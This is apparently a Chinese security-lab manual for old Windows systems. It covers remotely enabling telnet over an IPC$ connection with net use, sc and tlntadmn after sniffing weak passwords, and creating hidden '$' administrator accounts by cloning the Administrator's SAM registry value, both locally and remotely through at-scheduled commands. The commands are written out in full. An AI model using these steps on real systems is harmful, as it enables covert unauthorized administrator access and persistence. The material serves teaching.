1、TELNET服务开启 【实验环境】 本地主机(WindowsXP)、Windows实验台 实验的网络拓扑如图 3.5.71所示;实验目标需首先确定所在主机实验台IP地址,并根据实验步骤填写正确的IP地址进行实验。 图 3.5.71 【实验步骤】 一、 关闭实验台telnet服务 运行实验台,依次打开开始—>控制面板—>管理工具—>服务,找到Telnet服务,停止telnet服务,然后将其启动类型改为禁用。 二、 远程开启telnet服务: (1) 首先用流光嗅等工具探得到对方密码,主要是弱口令(此步可跳过,用已知的实验台用户名密码进行试验)。 (2) 用n
2、et use命令建立ipc$连接例如:net use \\实验台IP\ipc$ "实验台密码" /user:administrator 图 3.5.72 (3) 用sc命令把禁用的telnet服务变成自动sc \\实验台IP config tlntsvr start= auto 图 3.5.73 在实验台可以查看telnet的启动类型已经变为自动: 图 3.5.74 (4) 用sc命令将telnet启动 sc \\实验台IP start tlntsvr 图 3.5.75 在实验台可以查看telnet服务已经启动: 图 3.5.76 (5) 新
3、建一个cmd环境进行telnet登录,telnet 实验台IP 图 3.5.77 telnet连接建立之后,可输入用户名密码等相关信息进行登陆telnet服务登录到远程主机: 图 3.5.78 图 3.5.79 (6) 登陆后便可进行共享等相关操作,net share 建立c$共享 net share abc$=c: 图 3.5.710 查看共享目录:net share 图 3.5.711 (7) 远程更改telnet端口 输入tlntadmn \\实验台IP config port=1000 -u administrator -p 实验台密码
4、 图 3.5.712 再次进行telnet连接,则使用端口1000。 账户管理与权限提升 【实验环境】 本地主机(WindowsXP)、Windows实验台 实验的网络拓扑如下图所示,实验目标需首先确定所在主机实验台IP地址,并根据实验步骤填写正确的IP地址进行实验。 图 3.5.713 【实验步骤】 一、 本地管理账户: 本地管理账户主要通过三种方式进行用户账户查看管理 (1) 通过命令行格式直接进行查看 在命令行直接输入 net user,即可对系统的基本账户进行查看,但是此种方法无法查看用户名为“用户名$”形式的用户。 (2) 通
5、过管理工具图形界面进行查看 打开管理工具中计算机管理,进入本地用户和组,点击用户便可对系统账户进行查看,包括系统账户的用户名权限等信息的查看及修改。 (3) 通过查看注册表信息主用户账户信息进行查看 在运行中输入regedit,进入注册表后打开HKEY_LOCAL_MACHINE\sam\sam,右键点击SAM,选择权限,为Administrator用户添加权限。 图 3.5.714 图 3.5.715 关闭注册表,再次在运行中输入regedit,进入注册表后打开HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users, u
6、ser下面的Names中各个键的键值与上面的信息是一致的 图 3.5.716 此种查看方式能够对全部的系统账户进行查看,但是不易对账户信息修改,因为各个账户信息均有系统生成十六位进制信息。 二、 本地建立隐藏账户: (1) 建立账户 点击“开始”→“运行”,输入“CMD”运行“命令提示符”,输入“net user abc$ 123 /add”回车,成功后会显示“命令成功完成”。 接着输入“net localgroup administrators abc$ /add”回车,这样就利用“命令提示符”成功地建立了一个用户名为“abc$”,密码为“123”的简单“隐藏账户”,并且
7、把该隐藏账户提升为管理员权限。 查看隐藏账户的建立是否成功。在“命令提示符”中输入查看系统账户的命令“net user”,回车后会显示当前系统中存在的账户。从返回的结果中可以看到刚才建立的“abc$”这个账户并不存在。接着让进入控制面板的“管理工具”,打开其中的“计算机”,查看其中的“本地用户和组”,在“用户”一项中,刚建立的隐藏账户“abc$”便可以查看到。 图 3.5.717 总结得出的结论是:这种方法只能将账户在“命令提示符”中进行隐藏,在“计算机管理”中对此种账户查看显而易见。 (2) 在“注册表”中进行账户隐藏 以上可以看到用命令提示符隐藏账户的方法缺点很明显,很容易
8、暴露。那么有没有可以在“命令提示符”和“计算机管理”中同时隐藏账户的技术呢?答案是肯定的,而这一切只需要我们在“注册表”中进行一番小小的设置,就可以让系统账户在两者中完全不能查看。 (3) 给管理员注册表操作权限 在注册表中对系统账户的键值进行操作,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”处进行修改,但是当来到该处时,会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给予“写入DAC”和“读取控制”权限,没有给予修改权限,因此不能对“SAM”项下的键值进行查看和修改。不过可以借助系统中另一个“注册表编辑器”给管理员赋予修改权限。 点击“开始”→“运行”,输入
9、regedt.exe”后回车,随后会弹出另一个“注册表编辑器”,平时使用的“注册表编辑器”不同的是它可以修改系统账户操作注册表时的权限(为便于理解,以下简称regedt.exe)。在regedt.exe中打开“HKEY_LOCAL_MACHINE\SAM\SAM”处,点击“安全”菜单→“权限”,在弹出的“SAM的权限”编辑窗口中选中“administrators”账户,在下方的权限设置处勾选“完全控制”,完成后点击“确定”即可。然后我们切换回“注册表编辑器”,可以发现“HKEY_LOCAL_MACHINE\SAM\SAM”下面的键值都可以展开了。 (4) 将隐藏账户替换为管理员 打开注册
10、表编辑器“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account \Users\Names”,当前系统中所有存在的账户都会在这里显示,当然包括我们的隐藏账户。点击我们的隐藏账户“abc$”,在右边显示的键值中的“类型”一项显示为0x3fa,向上来到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\”处,可以找到“000003fa”这一项,这两者是相互对应的,隐藏账户“abc$”的所有信息都在“000003fa”这一项中。同样的,我们可以找到“administrator”账户所对应的项为“000001F4”。
11、图 3.5.718 将“abc$”的键值导出为abc$.reg,同时将“000003Fa”和“000001F4”项的F键值分别导出为user.reg,admin.reg。用“记事本”打开admin.reg,将其中“F”值后面的内容复制下来,替换user.reg中的“F”值内容,完成后保存。接下来进入“命令提示符”,输入“net user abc$ /del”将我们建立的隐藏账户删除。最后,将abc$.reg和user.reg导入注册表,至此,隐藏账户制作完成。 图 3.5.719 三、 远程建立隐藏超级用户账户: (1) 先与远程主机(实验台)建立连接,命令为: net us
12、e \\192.168.1.235\ipc$ "isesuser(实验台ip)" /user:administrator (2) 用at命令在远程主机上建立一个用户(如果at服务没有启动,可用netsvc.exe、sc.exe或sc命令来远程启动): at \\192.168.1.235 11:29 net user abc$ 123 /add。 建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。 (3) 同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users
13、下键值(先需administrator用户对注册表SAM\SAM\的访问权限,在远程主机的运行中输入regedit,进入注册表后打开HKEY_LOCAL_MACHINE\sam\sam,右键点击SAM,选择权限,为Administrator用户添加权限): at \\192.168.1.235 11:33 regedit /e abc.reg HKEY_LOCAL_MACHINE\ SAM\SAM\Domains\account\users\/e 是regedit的参数,在HKEY_LOCAL_MACHINE \SAM\SAM\Domains\account\users\这个键的一定要以\
14、结尾。必要的情况下可以用引号将下面引起来: "c:\winnt\regedit.exe /e abc.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account \users\"。 (4) 将远程主机上的abc.reg下载到本机上用记事本打开进行编辑命令为: copy \\192.168.1.235\admin$\system32\abc.reg c:\abc.reg 修改的方法已经介绍过了,这里就不作介绍了。 (5) 再将编辑好的abc.reg拷回远程主机: copy c:\abc.reg \\192.168.1.235\admin$\abc1
15、reg (6) 查看远程主机时间:net time \\13.50.97.238 然后用at命令将用户abc$删除: at \\192.168.1.235 11:56 c:\windows\system32\net.exe user abc$ /del (7) 验证abc$是否删除:用net use \\13.50.97.238 /del 断开与远程主机的连接。 net use \\192.168.1.235\ipc$ "123" /user:abc$ 用帐户abc$与远程主机连接,不能连接说明已删除。 (8) 再与远程主机建立连接: net use \\192.168.1.2
16、35\ipc$ "isesuser" /user:administrator 再取得远程主机时间,用at命令将拷回远程主机的abc1.reg导入远程主机注册表: at \\192.168.1.235 11:58 c:\windows\regedit.exe /s abc1.reg regedit.exe的参数/s是指安静模式。 (9) 再验证abc$是否已建立,方法同上面验证abc$是否被删除一样。 (10) 再验证用户abc$是否有读、写、删的权限, (11) 通过10可以断定用户abc$具有超级用户权限,因为最初用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。






